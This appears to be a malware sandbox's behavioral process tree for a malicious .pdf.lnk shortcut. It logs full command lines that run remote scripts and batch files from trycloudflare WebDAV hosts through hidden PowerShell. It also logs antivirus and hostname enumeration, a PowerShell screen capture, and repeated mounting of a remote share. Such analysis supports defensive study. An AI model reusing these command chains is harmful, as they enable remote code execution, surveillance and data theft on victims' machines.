| ZeroBOX

cmd.exe "C:\Windows\System32\cmd.exe" /c start /wait "JtqrkzqujEDIZM" C:\Users\test22\AppData\Local\Temp\doc01585520250114102531.pdf.lnk
3048
- wscript.exe "C:\Windows\System32\WScript.exe" "\\achievements-plates-station-gaming.trycloudflare.com@SSL\DavWWWRoot\32\DE.wsh"
  1688
  - cmd.exe "C:\Windows\System32\cmd.exe" /c start /min \\achievements-plates-station-gaming.trycloudflare.com@SSL\DavWWWRoot\tra.bat
    1844
    - cmd.exe C:\Windows\system32\cmd.exe /K \\achievements-plates-station-gaming.trycloudflare.com@SSL\DavWWWRoot\tra.bat
      1560
      - powershell.exe powershell -windowstyle hidden -command "Start-Process cmd -ArgumentList '/c \"\\achievements-plates-station-gaming.trycloudflare.com@SSL\DavWWWRoot\tra.bat\" hidden' -WindowStyle Hidden"
        2812
        
        cmd.exe "C:\Windows\system32\cmd.exe" /c "\\achievements-plates-station-gaming.trycloudflare.com@SSL\DavWWWRoot\tra.bat" hidden
        2328
        
        iexplore.exe "C:\Program Files (x86)\Internet Explorer\iexplore.exe" -nohome
        2128
        
        iexplore.exe "C:\Program Files (x86)\Internet Explorer\iexplore.exe" SCODEF:2128 CREDAT:145409
        2856
        
        net.exe net use U: "\\divide-snow-pound-clip.trycloudflare.com@SSL\DavWWWRoot" /user:your-username your-password /persistent:no
        1720
        
        powershell.exe powershell -Command "Expand-Archive -Path 'C:\Users\test22\Contacts\zone.zip' -DestinationPath 'C:\Users\test22\Contacts' -Force"
        2112
        
        net.exe net use U: /delete /yes
        2880
  - cmd.exe "C:\Windows\System32\cmd.exe" /c start /min \\achievements-plates-station-gaming.trycloudflare.com@SSL\DavWWWRoot\rx.bat
    2820
    - cmd.exe C:\Windows\system32\cmd.exe /K \\achievements-plates-station-gaming.trycloudflare.com@SSL\DavWWWRoot\rx.bat
      2912
      - powershell.exe powershell -windowstyle hidden -command "Start-Process cmd -ArgumentList '/k \"\\achievements-plates-station-gaming.trycloudflare.com@SSL\DavWWWRoot\rx.bat\" hidden' -WindowStyle Hidden"
        1376
        
        cmd.exe "C:\Windows\system32\cmd.exe" /k "\\achievements-plates-station-gaming.trycloudflare.com@SSL\DavWWWRoot\rx.bat" hidden
        200
        
        cmd.exe C:\Windows\system32\cmd.exe /c powershell -Command "[System.Net.Dns]::GetHostName()"
        1632
        
        powershell.exe powershell -Command "[System.Net.Dns]::GetHostName()"
        284
        
        cmd.exe C:\Windows\system32\cmd.exe /c powershell -Command "Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct | Select-Object -ExpandProperty displayName" 2>nul
        1776
        
        powershell.exe powershell -Command "Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct | Select-Object -ExpandProperty displayName"
        2980
        
        powershell.exe powershell -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $screen = [System.Windows.Forms.Screen]::AllScreens[0]; $bitmap = New-Object Drawing.Bitmap $screen.Bounds.Width, $screen.Bounds.Height; $graphics = [System.Drawing.Graphics]::FromImage($bitmap); $graphics.CopyFromScreen($screen.Bounds.Location, [System.Drawing.Point]::Empty, $screen.Bounds.Size); $bitmap.Save('C:\Users\test22\AppData\Local\Temp\test22-PC_screenshot.png', [System.Drawing.Imaging.ImageFormat]::Png);"
        2660
        
        net.exe net use W: "\\characters-contrary-foster-workout.trycloudflare.com@SSL\DavWWWRoot"
        1328
        
        net.exe net use W: "\\characters-contrary-foster-workout.trycloudflare.com@SSL\DavWWWRoot"
        2176
        
        choice.exe choice /n /c y /t 0
        240
        
        net.exe net use W: "\\characters-contrary-foster-workout.trycloudflare.com@SSL\DavWWWRoot"
        3080
        
        choice.exe choice /n /c y /t 0
        3152
        
        net.exe net use W: "\\characters-contrary-foster-workout.trycloudflare.com@SSL\DavWWWRoot"
        3196
        
        choice.exe choice /n /c y /t 0
        3256
        
        net.exe net use W: "\\characters-contrary-foster-workout.trycloudflare.com@SSL\DavWWWRoot"
        3300
        
        choice.exe choice /n /c y /t 0
        3356
        
        net.exe net use W: "\\characters-contrary-foster-workout.trycloudflare.com@SSL\DavWWWRoot"
        3400
        
        choice.exe choice /n /c y /t 0
        3460
        
        net.exe net use W: "\\characters-contrary-foster-workout.trycloudflare.com@SSL\DavWWWRoot"
        3504
        
        choice.exe choice /n /c y /t 0
        3560
        
        net.exe net use W: "\\characters-contrary-foster-workout.trycloudflare.com@SSL\DavWWWRoot"
        3604
        
        choice.exe choice /n /c y /t 0
        3664
        
        net.exe net use W: "\\characters-contrary-foster-workout.trycloudflare.com@SSL\DavWWWRoot"
        3708
        
        choice.exe choice /n /c y /t 0
        3764
        
        net.exe net use W: "\\characters-contrary-foster-workout.trycloudflare.com@SSL\DavWWWRoot"
        3808
        
        choice.exe choice /n /c y /t 0
        3880
        
        net.exe net use W: "\\characters-contrary-foster-workout.trycloudflare.com@SSL\DavWWWRoot"
        3968
        
        choice.exe choice /n /c y /t 0
        4028
        
        net.exe net use W: "\\characters-contrary-foster-workout.trycloudflare.com@SSL\DavWWWRoot"
        4076
        
        choice.exe choice /n /c y /t 0
        1020
        
        net.exe net use W: "\\characters-contrary-foster-workout.trycloudflare.com@SSL\DavWWWRoot"
        3084
        
        choice.exe choice /n /c y /t 0
        412
        
        net.exe net use W: "\\characters-contrary-foster-workout.trycloudflare.com@SSL\DavWWWRoot"
        3288
        
        choice.exe choice /n /c y /t 0
        3340
        
        net.exe net use W: "\\characters-contrary-foster-workout.trycloudflare.com@SSL\DavWWWRoot"
        3432
        
        choice.exe choice /n /c y /t 0
        3520
        
        net.exe net use W: "\\characters-contrary-foster-workout.trycloudflare.com@SSL\DavWWWRoot"
        3580
        
        choice.exe choice /n /c y /t 0
        3644
        
        net.exe net use W: "\\characters-contrary-foster-workout.trycloudflare.com@SSL\DavWWWRoot"
        3704
        
        choice.exe choice /n /c y /t 0
        3780
        
        net.exe net use W: "\\characters-contrary-foster-workout.trycloudflare.com@SSL\DavWWWRoot"
        3820
        
        choice.exe choice /n /c y /t 0
        3932
        
        net.exe net use W: "\\characters-contrary-foster-workout.trycloudflare.com@SSL\DavWWWRoot"
        4020
        
        choice.exe choice /n /c y /t 0
        3100
        
        net.exe net use W: "\\characters-contrary-foster-workout.trycloudflare.com@SSL\DavWWWRoot"
        1744
        
        choice.exe choice /n /c y /t 0
        3140
        
        net.exe net use W: "\\characters-contrary-foster-workout.trycloudflare.com@SSL\DavWWWRoot"
        3208
        
        choice.exe choice /n /c y /t 0
        3296
        
        net.exe net use W: "\\characters-contrary-foster-workout.trycloudflare.com@SSL\DavWWWRoot"
        3412
        
        choice.exe choice /n /c y /t 0
        3556
        
        net.exe net use W: "\\characters-contrary-foster-workout.trycloudflare.com@SSL\DavWWWRoot"
        112
        
        choice.exe choice /n /c y /t 0
        544
        
        net.exe net use W: "\\characters-contrary-foster-workout.trycloudflare.com@SSL\DavWWWRoot"
        3632
        
        choice.exe choice /n /c y /t 0
        3740
        
        net.exe net use W: "\\characters-contrary-foster-workout.trycloudflare.com@SSL\DavWWWRoot"
        3768
        
        choice.exe choice /n /c y /t 0
        2332
        
        net.exe net use W: "\\characters-contrary-foster-workout.trycloudflare.com@SSL\DavWWWRoot"
        4060
        
        choice.exe choice /n /c y /t 0
        2976
        
        net.exe net use W: "\\characters-contrary-foster-workout.trycloudflare.com@SSL\DavWWWRoot"
        3172
        
        choice.exe choice /n /c y /t 0
        3320
        
        net.exe net use W: "\\characters-contrary-foster-workout.trycloudflare.com@SSL\DavWWWRoot"
        3448
        
        choice.exe choice /n /c y /t 0
        1108
        
        net.exe net use W: "\\characters-contrary-foster-workout.trycloudflare.com@SSL\DavWWWRoot"
        2340
        
        choice.exe choice /n /c y /t 0
        3692
        
        net.exe net use W: "\\characters-contrary-foster-workout.trycloudflare.com@SSL\DavWWWRoot"
        3812
        
        choice.exe choice /n /c y /t 0
        4016
        
        net.exe net use W: "\\characters-contrary-foster-workout.trycloudflare.com@SSL\DavWWWRoot"
        540
        
        choice.exe choice /n /c y /t 0
        3328
        
        net.exe net use W: "\\characters-contrary-foster-workout.trycloudflare.com@SSL\DavWWWRoot"
        3532
        
        choice.exe choice /n /c y /t 0
        1872
        
        net.exe net use W: "\\characters-contrary-foster-workout.trycloudflare.com@SSL\DavWWWRoot"
        1816
        
        choice.exe choice /n /c y /t 0
        3796
        
        net.exe net use W: "\\characters-contrary-foster-workout.trycloudflare.com@SSL\DavWWWRoot"
        4080
        
        choice.exe choice /n /c y /t 0
        3908
        
        net.exe net use W: "\\characters-contrary-foster-workout.trycloudflare.com@SSL\DavWWWRoot"
        3396
  - cmd.exe "C:\Windows\System32\cmd.exe" /c start /min \\achievements-plates-station-gaming.trycloudflare.com@SSL\DavWWWRoot\final.bat
    2120
    - cmd.exe C:\Windows\system32\cmd.exe /K \\achievements-plates-station-gaming.trycloudflare.com@SSL\DavWWWRoot\final.bat
      2288
      - powershell.exe powershell -windowstyle hidden -command "Start-Process cmd -ArgumentList '/c \"\\achievements-plates-station-gaming.trycloudflare.com@SSL\DavWWWRoot\final.bat\" hidden' -WindowStyle Hidden"
        756
        
        cmd.exe "C:\Windows\system32\cmd.exe" /c "\\achievements-plates-station-gaming.trycloudflare.com@SSL\DavWWWRoot\final.bat" hidden
        2476

No process loaded Click on a process in the tree above to load its data.

PID
Parent PID

default registry file network process services synchronisation iexplore office pdf

Behavioral Analysis

Process tree

Process contents